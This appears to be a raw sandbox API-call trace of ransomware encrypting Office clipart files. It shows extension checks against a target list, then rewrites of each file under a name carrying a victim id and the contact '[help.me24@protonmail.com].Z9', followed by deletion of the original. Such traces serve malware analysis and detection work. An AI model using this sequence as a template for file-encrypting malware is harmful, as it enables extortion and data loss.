	[0179.596] lstrlenW (lpString=".1cd") returned 4
	[0179.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.596] lstrlenW (lpString=".jpg") returned 4
	[0179.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.596] lstrlenW (lpString=".doc") returned 4
	[0179.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.597] lstrlenW (lpString=".docx") returned 5
	[0179.597] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.597] lstrlenW (lpString=".pdf") returned 4
	[0179.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.597] lstrlenW (lpString=".xls") returned 4
	[0179.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.597] lstrlenW (lpString=".xlsx") returned 5
	[0179.597] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.597] lstrlenW (lpString=".ppt") returned 4
	[0179.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.597] lstrlenW (lpString=".zip") returned 4
	[0179.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.597] lstrlenW (lpString=".rar") returned 4
	[0179.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.597] lstrlenW (lpString=".bz2") returned 4
	[0179.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.597] lstrlenW (lpString=".7z") returned 3
	[0179.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.597] lstrlenW (lpString=".dbf") returned 4
	[0179.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.597] lstrlenW (lpString=".1cd") returned 4
	[0179.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0179.597] lstrlenW (lpString=".jpg") returned 4
	[0179.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.597] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.598] lstrlenW (lpString="J0107544.WMF") returned 12
	[0179.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0179.601] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=26768) returned 1
	[0179.601] CloseHandle (hObject=0x370) returned 1
	[0179.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220
	[0179.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0179.602] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.602] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0179.604] GetLastError () returned 0x0
	[0179.604] ReadFile (in: hFile=0x370, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x6890, lpOverlapped=0x0) returned 1
	[0179.624] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x68a0, lpOverlapped=0x0) returned 1
	[0179.625] ReadFile (in: hFile=0x370, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.625] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.625] SetEndOfFile (hFile=0x460) returned 1
	[0179.626] CloseHandle (hObject=0x460) returned 1
	[0179.626] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.626] SetEndOfFile (hFile=0x370) returned 1
	[0179.629] CloseHandle (hObject=0x370) returned 1
	[0179.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1
	[0179.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.630] lstrlenW (lpString=".doc") returned 4
	[0179.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString=".docx") returned 5
	[0179.631] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.631] lstrlenW (lpString=".pdf") returned 4
	[0179.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString=".xls") returned 4
	[0179.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.631] lstrlenW (lpString=".xlsx") returned 5
	[0179.631] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.631] lstrlenW (lpString=".ppt") returned 4
	[0179.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.631] lstrlenW (lpString=".zip") returned 4
	[0179.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.631] lstrlenW (lpString=".rar") returned 4
	[0179.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString=".bz2") returned 4
	[0179.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString=".7z") returned 3
	[0179.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.631] lstrlenW (lpString=".dbf") returned 4
	[0179.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.631] lstrlenW (lpString=".1cd") returned 4
	[0179.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.631] lstrlenW (lpString=".jpg") returned 4
	[0179.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.632] lstrlenW (lpString=".doc") returned 4
	[0179.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.632] lstrlenW (lpString=".docx") returned 5
	[0179.632] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.632] lstrlenW (lpString=".pdf") returned 4
	[0179.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.632] lstrlenW (lpString=".xls") returned 4
	[0179.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.632] lstrlenW (lpString=".xlsx") returned 5
	[0179.632] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.632] lstrlenW (lpString=".ppt") returned 4
	[0179.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.632] lstrlenW (lpString=".zip") returned 4
	[0179.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.632] lstrlenW (lpString=".rar") returned 4
	[0179.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.632] lstrlenW (lpString=".bz2") returned 4
	[0179.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.632] lstrlenW (lpString=".7z") returned 3
	[0179.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.632] lstrlenW (lpString=".dbf") returned 4
	[0179.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.632] lstrlenW (lpString=".1cd") returned 4
	[0179.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0179.633] lstrlenW (lpString=".jpg") returned 4
	[0179.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.633] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.633] lstrlenW (lpString="J0107708.WMF") returned 12
	[0179.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.942] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4808) returned 1
	[0179.942] CloseHandle (hObject=0x548) returned 1
	[0179.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220
	[0179.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0179.943] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.943] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0179.945] GetLastError () returned 0x0
	[0179.945] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0180.568] WriteFile (in: hFile=0x444, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0180.569] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.569] WriteFile (in: hFile=0x444, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.569] SetEndOfFile (hFile=0x444) returned 1
	[0180.571] CloseHandle (hObject=0x444) returned 1
	[0180.574] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.574] SetEndOfFile (hFile=0x548) returned 1
	[0180.583] CloseHandle (hObject=0x548) returned 1
	[0180.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1
	[0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.591] lstrlenW (lpString=".doc") returned 4
	[0180.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.591] lstrlenW (lpString=".docx") returned 5
	[0180.591] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0180.591] lstrlenW (lpString=".pdf") returned 4
	[0180.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.591] lstrlenW (lpString=".xls") returned 4
	[0180.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.591] lstrlenW (lpString=".xlsx") returned 5
	[0180.591] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0180.591] lstrlenW (lpString=".ppt") returned 4
	[0180.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.591] lstrlenW (lpString=".zip") returned 4
	[0180.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.591] lstrlenW (lpString=".rar") returned 4
	[0180.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.591] lstrlenW (lpString=".bz2") returned 4
	[0180.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.591] lstrlenW (lpString=".7z") returned 3
	[0180.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.591] lstrlenW (lpString=".dbf") returned 4
	[0180.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.592] lstrlenW (lpString=".1cd") returned 4
	[0180.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.592] lstrlenW (lpString=".jpg") returned 4
	[0180.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.592] lstrlenW (lpString=".doc") returned 4
	[0180.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.592] lstrlenW (lpString=".docx") returned 5
	[0180.592] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0180.592] lstrlenW (lpString=".pdf") returned 4
	[0180.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.592] lstrlenW (lpString=".xls") returned 4
	[0180.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.592] lstrlenW (lpString=".xlsx") returned 5
	[0180.592] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0180.592] lstrlenW (lpString=".ppt") returned 4
	[0180.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.592] lstrlenW (lpString=".zip") returned 4
	[0180.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.592] lstrlenW (lpString=".rar") returned 4
	[0180.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.592] lstrlenW (lpString=".bz2") returned 4
	[0180.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.592] lstrlenW (lpString=".7z") returned 3
	[0180.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.593] lstrlenW (lpString=".dbf") returned 4
	[0180.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.593] lstrlenW (lpString=".1cd") returned 4
	[0180.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68
	[0180.593] lstrlenW (lpString=".jpg") returned 4
	[0180.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.593] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.593] lstrlenW (lpString="J0145168.JPG") returned 12
	[0180.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.595] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=33657) returned 1
	[0180.595] CloseHandle (hObject=0x548) returned 1
	[0180.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220
	[0180.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.596] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.596] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.597] GetLastError () returned 0x0
	[0180.597] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x8379, lpOverlapped=0x0) returned 1
	[0180.662] WriteFile (in: hFile=0x558, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x8380, lpOverlapped=0x0) returned 1
	[0180.664] ReadFile (in: hFile=0x548, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.664] WriteFile (in: hFile=0x558, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.664] SetEndOfFile (hFile=0x558) returned 1
	[0180.665] CloseHandle (hObject=0x558) returned 1
	[0180.665] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.665] SetEndOfFile (hFile=0x548) returned 1
	[0180.669] CloseHandle (hObject=0x548) returned 1
	[0180.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.671] lstrlenW (lpString=".doc") returned 4
	[0180.671] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.671] lstrlenW (lpString=".docx") returned 5
	[0180.671] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0180.671] lstrlenW (lpString=".pdf") returned 4
	[0180.671] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.672] lstrlenW (lpString=".xls") returned 4
	[0180.672] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.672] lstrlenW (lpString=".xlsx") returned 5
	[0180.672] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0180.672] lstrlenW (lpString=".ppt") returned 4
	[0180.672] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.672] lstrlenW (lpString=".zip") returned 4
	[0180.672] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.672] lstrlenW (lpString=".rar") returned 4
	[0180.672] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.672] lstrlenW (lpString=".bz2") returned 4
	[0180.672] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.672] lstrlenW (lpString=".7z") returned 3
	[0180.672] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.672] lstrlenW (lpString=".dbf") returned 4
	[0180.672] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0180.672] lstrlenW (lpString=".1cd") returned 4
	[0180.672] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
